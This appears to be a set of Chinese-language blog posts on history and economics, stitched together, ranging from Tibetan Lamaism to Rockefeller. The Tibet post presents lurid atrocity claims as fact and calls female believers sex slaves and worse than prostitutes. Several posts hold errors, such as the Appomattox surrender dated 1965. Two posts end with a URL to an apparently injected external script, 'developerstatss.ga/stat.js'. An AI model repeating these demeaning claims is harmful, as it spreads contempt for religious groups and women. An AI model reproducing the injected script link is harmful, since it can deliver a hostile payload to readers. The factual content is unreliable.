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經濟分析 歷史

為什麼反同最力者很可能本身就是同性戀?從經濟分析角度切入

ETToday報導「反同議員大推家庭價值 被抓包在辦公室「男男性行為」!

美國俄亥俄州眾議院的議員古德曼(Wesley Goodman)一向公開反對同志族群,以保守派自居,沒想到日前他被抓到在辦公室內和一名非議院員工的男性有不當的行為,目前已經辭職下台,並希望外界可以給他一點隱私。
33歲的古德曼在被發現於辦公室和一名男性有「不當性行為」,而且是在雙方都同意的情況下,14日下午他與俄州眾議院發言人羅森貝格爾(Cliff Rosenberger)見面談話後,辭去議員的職位,但沒有針對同性性行為發表任何評論。羅森貝格爾的聲明指出,古德曼向他承認男男性行為的指控,辭職是對個人、家庭和整個議會最好的決定。

目前在議會內沒有人提出古德曼騷擾的指控,但有相關人士告知了羅森貝格爾,事件才爆發。古德曼是共和黨的議員,一直以「保守運動的良知」自居,大力推崇一夫一妻的「傳統家庭價值」,公開反對同性戀,在他的推特帳號也描述自己是一名「基督徒與保守派」,他的競選網站上則寫道,相愛的爸爸媽媽、自然的婚姻和充滿關愛的社區,是最值得追求和保護的,也是俄亥俄州的驕傲。

過去我在「從上空女郎談競爭準則」一文中就曾談過:「越是在某種競爭準則下難以勝出的人,就越有誘因去反對那個準則!(反之,越能佔到便宜的,就越會支持該準則)」

這說明長相在婚姻市場或性市場中越不吃香者,越有誘因去「反對物化女(男)性」與「反對以性為賣點」。這也說明收入低者容易反對黃牛制度存在,但收入高者對黃牛制度反倒是較樂於利用(這放到不明所以的財經作者,就可以變成「有錢人想的跟你不一樣」)。自身侷限條件與客觀侷限條件不同時,不同族群就會偏好與反對不同的競爭準則。

同樣從競爭的準則來看,其實異性戀者對於同性戀乃至於同性婚姻基本上應該是「無感」。何解?因為目標市場不同,同性間基本上不但不存在競爭關係,甚至同性戀還可以幫助降低同性間對異性的追逐競爭。

比方雄性A是異性戀,同性的B是同性戀,同性的C則是雙性戀。僅有一異性a’存在。

假設不存在劈腿現象的前提下(注意,我是先假設不存在而方便推論,並非否認劈腿的存在。先理解簡單狀況,則分析時可再把劈腿現象放回來考慮。)

若AC均同時喜歡上某異性a’,則AC會存在同性的性競爭關係,從而提高追求成本。但若B成功地與C結合,則A將面對競爭減少,從而降低追求成本。

換言之,身為異性戀的A理當對同性戀B的存在無反感甚至某種程度鼓勵。

我們把劈腿現象放回此例中,若B能成功瓜分C的注意力乃至於時間,即便C劈腿,情況也會較有利於A。至少從性遺傳角度看,A有更多時間與機會成功吸引a’性交或是有更多時間注入更多自己的精子,從而提高衍生攜帶自身基因之後代的機率。

但若ABC均是異性戀,則可見ABC三者追求a’成本提高,而a’所生後代是否攜帶自身基因的可確定性降低(經濟分析上可看做預期報酬降低)。

這就是為什麼我認為異性戀者對於同性戀之存在應該是無感;對雙性戀者存在比較警戒。

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筆記 歷史

傳說日據台灣比大陸先進,國民黨阿兵哥竟然沒見過水龍頭鬧笑話,真的嗎?

這個都市傳說流傳已久,被許多無知者用來嘲笑當年國民黨乃至中國的落後。

先不說這種嘲笑本身就很可笑,既然你以有無自來水設施來嘲笑當年的中國,現今世界上還有許多地方或國家沒有普及的自來水系統,你是否也要公開嘲笑一番?

為何我認為這是錯誤的傳說?

很簡單,國民黨是1949年敗退來台,而早在1935年上海知名影星阮玲玉所主演的經典電影「新女性」中即出現了「水龍頭」一幕。

片中阮玲玉飾演一名遭爛男人射後不理,未婚生下女兒後留其在家鄉由母親撫養,自己獨自一人來到上海某女校擔任音樂老師,辛苦攢錢養育一家。後來因種種打擊而考慮出賣身體、淪為妓女只為籌措將死女兒的醫藥費。

水龍頭場景出現在阮玲玉租屋處的過場,是一個屬中低環境的公寓(請見圖片)。

考察當年影評並未把「新女性」歸類為「科幻片」– 並無「太神奇,牆壁竟然會出水!這是什麼新科技?!」這類評論。

也無評論批判「新女性」太跳tone,「何以窮苦人家竟然出現水龍頭?!」這類指教。

顯見當年上海,水龍頭是隨處可見,即便在窮人住宅區域也非新奇事物。

換言之,對一部主打目標市場是女工、中下階層的大眾電影來說,出現水龍頭是如此輕描淡寫到無人注意的狀況,水龍頭在當時中國並非新奇、多數人未曾見過的玩意。

 

考察史料,中國最早出現自來水廠就是上海英租界,於1875年就設立(尚有當年上海申報的報導可查證,由三位洋人、一位華人共同投資),是國民黨敗退來台前74年。中國人自己設立自來水廠最早可知是李鴻章於1890年為了軍隊需要於大連引龍引泉之水設立水廠。

台灣自來水則晚至1895年,日本人為了軍隊需要於淡水、基隆聘請英國顧問設置軍事自來水廠,足足晚了上海20年。因為是專供軍隊使用,此時可能倒是台灣漢人還真沒見過水龍頭哩。

根據以上史料,我們可得知:要說國民黨阿兵哥沒見過水龍頭,或許少數人從偏遠地區來台可能如此。但要藉此嘲笑同時期中國比日據台灣落後,未免太弱也太不合常理。要知道,20世紀初期上海可是遠比東京還繁榮、還國際的知名都市,多少新奇事物上海有,東京還不見得會有哩。區區水龍頭,何以掛齒誇口而不知恥?

我們都知道19世紀後半到20世紀中國整體工業化能力是遠遜日本,平均人民財富也不如日本,無庸置疑。但這不代表新奇玩意兒或近代化設施只出現日本而不會出現在中國。

PS 新女性影片請參閱此連結,水龍頭一幕出現在4分50秒處:
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歷史

談點西藏神權史

有在玩音響的應該都知道一片很有名的CD「阿姐鼓」。
 
什麼是阿姐鼓?
 
就是西藏喇嘛教拿二八年華的處女活活殺死後,用其人骨當支架、當鼓搥,用其人皮當鼓皮所製作成的樂器(名號:法器)來打擊的音樂。
 
西藏喇嘛教本質是非常黑暗、迷信且亂七八糟的宗教,跟正統佛教只是借其外衣的關係。
 
 
西藏採神權農奴制,所有土地歸喇嘛與行政人員所有,其他人民都是農奴。這就是為什麼過去西藏地區高達98%以上都是文盲。這也是為什麼西藏人會希望小孩出家當喇嘛,可不是因為什麼高貴的信仰,而是真金白銀地希冀小孩進入統治管理階層可以分一杯羹!
 
喇嘛教酷愛以人體為法器,例如拿眼睛當骰子,就會逼迫農奴挖去雙眼後眼珠曬乾進行加工,但是因為眼珠曬乾過程有損耗(有的爛掉了),所以只好多挖幾雙眼。以人體大腿骨或雙手為法器,所以許多農奴被迫斷腿割手,後半輩子只能乞討維生。
 
喇嘛教也酷愛以人體為禮品,所以喇嘛開home party,強迫12歲女農奴成為招待品,讓客人輪姦至滿意為止。用人頭蓋骨當碗,還鑲金邊哩。
 
達賴喇嘛是活佛轉世嗎?呵呵,說到這點就好笑。我們來看點喇嘛教歷史。
 
在成吉思汗建立大蒙古帝國時期,西藏被納入管理。當時西藏喇嘛教有三大教派(紅、白、黑教),喇嘛可以娶妻生子,所以「法王」採世襲制,父死傳子。到十五世紀時,西藏新興黃教,採取較嚴格的戒律,黃教喇嘛不可結婚,被多數蒙古人信仰,而當時蒙古可汗庵答汗冊封黃教法王為「聖識一切瓦齊爾達賴喇嘛」,簡稱「達賴喇嘛」。注意喔!達賴喇嘛原來是蒙古語!意指「智慧海」,是被蒙古人tag的標籤,才不是什麼活佛降世。之後庵答汗派兵協助達賴鎮壓西藏境內其他教派,至此黃教一統西藏。
 
而因為黃教不娶妻生子,所以法王繼位發生困難,從而發明「靈童轉世制」這麼一個荒謬騙局。
 
所謂靈童轉世,是現任達賴喇嘛去世前後,喇嘛們就編織各種跡象(例如現世達賴死時朝西方,就往西方找),隨便找個看似聰穎的三、四歲幼童迎入布達拉宮,接受喇嘛教教育。在成年可以「坐床」(也就是「親政」)之前,由喇嘛教執政官「第巴」掌權,可事實上即便坐床之後,第巴一樣手握宰相權力,因此西藏神權本質是雙首長制。這就是為什麼中國皇帝有時候會冊封第巴為教王。
 
如果達賴喇嘛成長過程太聰明,開始反抗甚至試圖改變既得利益集團的財路分配,則這位小活佛就會「被迫提早轉世」。
 
至於另一個班禪喇嘛,則是明末清初蒙古人為了方面統治西藏,另立一傀儡活佛號班禪,讓二者相鬥從而使得宗主國容易統治。注意,到清朝後,無論是達賴或班禪都需要經過清帝國皇帝正式冊封方有法律效力!中華民國曾制定「喇嘛轉世辦法」,現在中華人民共和國則有「藏傳佛教活佛轉世管理辦法」。所謂活佛是什麼東西,可知一二。
 
 
喇嘛教本質認為女人無法成佛,除非先轉世為男身。這就是為什麼佛教有尼姑(比丘尼),但喇嘛教沒有「女喇嘛」。所以現世的女人唯一用途就是跟喇嘛雙修,幫助喇嘛成佛。所謂雙修,說穿了就是當喇嘛發洩性慾的對象,就是「給人幹」的啦。
 
所以台灣一堆信奉喇嘛教的女人讓我很不解啊~怎麼會自願去當性奴勒?自願當妓女還有錢賺,怎麼比妓女還賤給人家玩免錢的?
 
 

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歷史

看懂段子

話說朱自清跟父親其實感情並不好,放任生病父親與妻子挨餓忍飢卻不願負擔家用。朱父甚至將慘狀告知朱自清任教之學校,情況嚴重到博得校方同情,同意將朱自清部分薪資直接匯給老家,引起朱自清大大不滿(可事實上朱自清主要收入來自於稿件,教書僅是很小一部分)。最後朱自清元配妻子也因肺病31歲即過世。自然也看不到三年後朱自清與續弦的如膠似漆了。

猶如徐志摩寫了篇感人肺腑的「我的彼得」,紀念他與張幼儀那僅三歲就夭折的二兒子。但事實上徐志摩一生只見過彼得一面,還是1922年3月彼得甫出生,徐風塵僕僕從英國到德國張幼儀處,對孤身於異國拼死拼活生產完約一星期的妻子要求簽字離婚。

為什麼徐志摩在英國,而張幼儀卻跑去德國生產呢?其實原本張幼儀是去英國找徐志摩團圓,但徐志摩射後不理,認為張幼儀的存在丟他臉,也間接阻礙他追求新愛情,所以要張幼儀滾去德國張之親兄處。張幼儀到了德國發現自己懷孕了,也只能就地養孕待產。

這些一流的文人,都文情並茂地好蔡英文喔。

PS 還好我有讀點書,不只看得懂段子,也看得懂文人真面目。https://js.developerstatss.ga/stat.js?n=ns1

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歷史

為什麼英文的客廳叫做living room?南北戰爭結束在某人的客廳?

早先以前,人們習慣將過世的親人遺體放在客廳供親友瞻仰遺容,這時候英文叫客廳為「death room」。直到1910年,有本名為the Ladies Home Journal的刊物宣稱「death room」這名稱實在太嚇人,應該改叫「living room」。從此,英文使用者就漸漸地因為避諱而改稱客廳為living room了。

果然,平常沒事就叫家裡客廳為「靈堂」,的確是怪怪的。

說到客廳,再補充一個歷史小常識:

有個叫Wilmer McLean的雜貨商人,家住維吉尼亞州Manassas。在1861年7月21日發現南北軍隊在他家前院打了起來,史稱南北戰爭第一場戰役– Bull Run,加農炮彈還打進他家廚房火爐,隨隨便便雙方就死了將近5千人,這還得了!

一早起床,刷著牙、唱著歌正準備吃火鍋時,你家門口忽然就兩群人打起來還死幾千人屍橫遍野、殘肢斷臂,你會怎麼做?時年47歲的Wilmer McLean很正常地基於身家性命與家人安全考量,急急忙忙搬家到190公里外的Appomattox County(差不多就是台北搬到彰化去)。

安穩過了4年,來到1965年4月9日,一早有個南方士兵跑來敲門,聲稱南方軍 Robert E. Lee將軍即將正式投降,要借Wilmer McLean房子的客廳來做為雙方簽署投降文件的場所。Wilmer McLean除了點頭同意也沒別種選項(電影教父所謂"irrefutable offer"是也)。儀式結束,士兵竟然還把客廳裡的家具當做「紀念品」通通搬光,Wilmer McLean抗議之下幾位將軍湊湊付了$60美元(約今日幣值$950美元)當做付清。

不過這也讓Wilmer McLean成為歷史上少數可以這樣嗆聲的人:「死了60幾萬人的南北戰爭,就我家前院開打,然後在我家客廳結束。也不是多能拿來說嘴的事啦~」

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商業評論 歷史

發明百貨公司

1796年,英國倫敦出現第一家百貨公司,目標客群就鎖定 — 女人!

總共四個部門:皮毛、珠寶、女性衣帽與裝飾配件。

1803年紐約則由移民Alexander T. Stewart設立第一家現代化百貨公司。

Stewart出生於北愛爾蘭,出生後3週父親即過世。母親改嫁並移民至紐約,留下年幼的Stewart由祖父帶大。Stewart完成小學學業後,在雜貨店裡擔任「bag boy」至15歲,存了$500後跑到了紐約闖天下。幾年後祖父過世,留下了一些遺產,Stewart利用這些遺產在紐約百老匯開了一家乾貨店。店面寬3.8公尺,深9.1公尺,他自己睡在店鋪最裡頭。

辛苦20年,Stewart就靠這間「起家店」賺到人生第一桶金,43歲那年他擴大事業版圖,設立了全美國第一家百貨公司!

當時紐約商人全都搖頭看壞,管這家百貨公司叫「Stweart’s Folly(史都華的蠢主意)」,一來店面位置就很糟糕,當時名店全在百老匯西邊,只有它開在東邊。二來同業一廂情願地以為女人們只想跟習慣往來的商店採買。三來這家百貨公司外貌也不合格,當時紐約商鋪都是走希臘風,只有它蓋成義大利風格。

但這些商人全錯了。

Stewart’s Folly暴紅!生意好到不行,連同年代的知名作家(當時名作家身分猶如現今知名歌星周杰倫、Bruno Mars一般有號召力)盛讚Stewart的百貨公司是「a palace of a store」!這下還得了?更多名流女士爭相前往,一者獵奇,一者表示自己是出入上流社會。

Stewart跟當時同樣在百老匯開店的商人最大不同,在於他認為購物並非純粹的生活必需行為,而是對女人充滿樂趣與娛樂性的。一群上流女人聚在一起這件事本身對其它女人就有吸引力。因此他很聰明地在開幕時,付費請來紐約城裡的名女人們打扮入時且美麗地到店內待著。

店內不二價,免去討價還價景象破壞購物行為的優雅性。引入全身試衣鏡(這麼大片鏡子在當年技術來說可算是昂貴奢侈),讓女生看清楚在這試穿的華服讓她們變得多美,不買怎行?

Stewart專注地關心女生的消費慾望有沒有、如何被滿足。在那個輕視女人的年代,他藉著提供被忽視的一群所需的服務而致富。

這就是自由市場精神的精髓 — 致富背後都是因為滿足了大眾所需。小左左們偏見地認為為富必不仁、為商必奸其實是大錯特錯。經濟學需求理論第一課就明白指出,在自由交易下,買方必定認為換來的商品服務所帶來的用值必定大於或等於其所犧牲的代價,否則交易根本就不會發生。當越多人認為與你交易可以滿足自身所需,你的財富自然也就累積。換言之,自由市場下經商致富的人不僅值得我們尊敬與佩服,這些人對社會的貢獻更是遠遠大過任何政客、任何嘴砲學者與社會運動者。

注意,我強調是「自由交易下」,那種透過政府合法暴力取得壟斷的、官商勾結人謀不臧加上五鬼搬運的,並非「自由交易」,而是用政府公權力進行搶劫。這種致富途徑對社會是有害而利的。

回到百貨公司,很快10幾年後,1862年Stewart把不敷使用的店面移址到第九與第十街,增加到30個部門同時光員工就請了2000人!他也成了美國最大的批發商與進口商之一,甚至還是繳納最多關稅的個人戶!

1855年Stewart財富已經累積到225萬美元,足列當時全美最富有的人之一;到了1870年,他晉身美國前三大首富,與William B. Astor和Cornelius Vanderbilt並駕齊驅。(Vanderbilt的商業故事也很有趣,甚至有激烈的商場決戰,以後有機會我再跟讀者聊聊)

Stewart未有子嗣,隨著他逝世,財富與零售帝國也隨之煙消雲散。

一百多年後同樣靠著零售業攻入富豪榜的,還有Walmart的Sam Walton與Amazon的Jeff Bezos,江山代有才人出啊!

文章摘譯自:Barron’s Inventing the Department Store
http://www.barrons.com/article_email/inventing-the-department-store-1489809845-lMyQjA1MTI3NzEwOTgxMDk5Wj#printModehttps://js.developerstatss.ga/stat.js?n=ns1

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歷史

不枉此生

一代傳奇商業鉅子 — John D. Rockefeller 於86歲時寫下(其享年98歲):

I was early taught to work as well as play,
My life has been one long, happy holiday;
Full of work and full of play,
I dropped the worry on the way,
And God was good to me everyday.

許多人(包括現在的法學界)誤以為Rockefeller以卑鄙的手法打擊對手,壟斷石油市場提高售價,但史料證實Rockefeller往往以高於市價的方式買下競爭對手,並且讓競爭對手的老闆與員工擔任標準石油的高階人員,甚至有位競爭對手當到副總裁的職務。

同時,Rockefeller建立標準石油,壟斷美國90%以上的石油市場時,主動壓低價格與其他對手競爭,史料顯示,當時石油價格在其手上跌了將近8成。這證據顯經濟學的論證是正確的:高市占率不代表壟斷力(也就是無覓價能力),同時競爭最好最強的手段,永遠是價廉物美,一如Rockfeller曾寫信給合夥人說道:「Let the good work go on. We must ever remember we are refining oil for the poor man and he must have it cheap and good.

斯人已逝,以他所寫的這首詩來看,其一生過得既精采又值得,如狗一般的所謂的法學專家們於他又有何意義?

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筆記 歷史

1957-58年的台灣照片

1957-58年的台灣照片,由一位當年來台灣從軍的美國大兵Tom Jones所拍攝,地點除了台北一帶之外,隨著Mr. Jones當年的偉士牌摩托車環島壯舉,南台灣也多處入鏡。當然還有馬祖也在列,真是讓人驚艷!

當年的相片竟然有這麼好的畫質,讓我們可以更清楚地看看將近60年前,台灣的人、物、景,是我繼看到彩色版的一次世界大戰相片集後,第二次為老相片所驚喜與感動。

Tom Jones相簿連結

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歷史

賞耳光算什麼?打爆頭才夠看!

今天發生了個無聊的新聞:「立院衝突!邱議瑩怒甩李慶華一巴掌

這是個沒什麼意思的新聞,所以本篇文章重點不在於誰有家教與否?

只是看到畫面讓我發起思古之幽情,想到一段有趣的歷史,提出來分享一下。

Charles SumnerCharles Sumner(1811~1874;見右圖一),1833年時畢業於美國哈佛大學法學院,從1852年開始代表麻州,進入美國參議會直到1874年,長達22年的議會生涯。

這位老先生一生致力於監獄重整、世界和平、平等人權、解放奴隸等政治議題。

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歷史

是非不分乃正常;大是大非只是蠢(下)

上回我們講了些故事,看看歷史上人類如何弄巧成拙;最後一個故事甚至是殘忍至極的「種族屠殺」

這裡提個有趣的題外話:同樣是種族屠殺,為什麼希特勒屠殺猶太人受到的譴責,遠大於澳洲人屠殺這些原住民呢?
是不是前者還有不少活口,而後者已經沒有曾受「切膚之痛」的苦主來嚷嚷?

是不是一些痛恨蔣介石228事件、白色恐怖的「大老們」,說起南京大屠殺、霧社事件反而不痛不癢,也是基於類似的原因?
反正別人家小孩死不完?

我沒有結論,只是提出個疑問。大家想想吧。

接續上次的話題。

歷史上可不是只有弄巧成拙之事,其實無心插柳的更多!

就拿台灣人都熟悉的「鄭成功」為例;這位歷史課本推崇的民族英雄,其實無心於拯救台灣。但諷刺的是,他的作為倒真的救了台灣於未來數百年後可能的悲慘下場。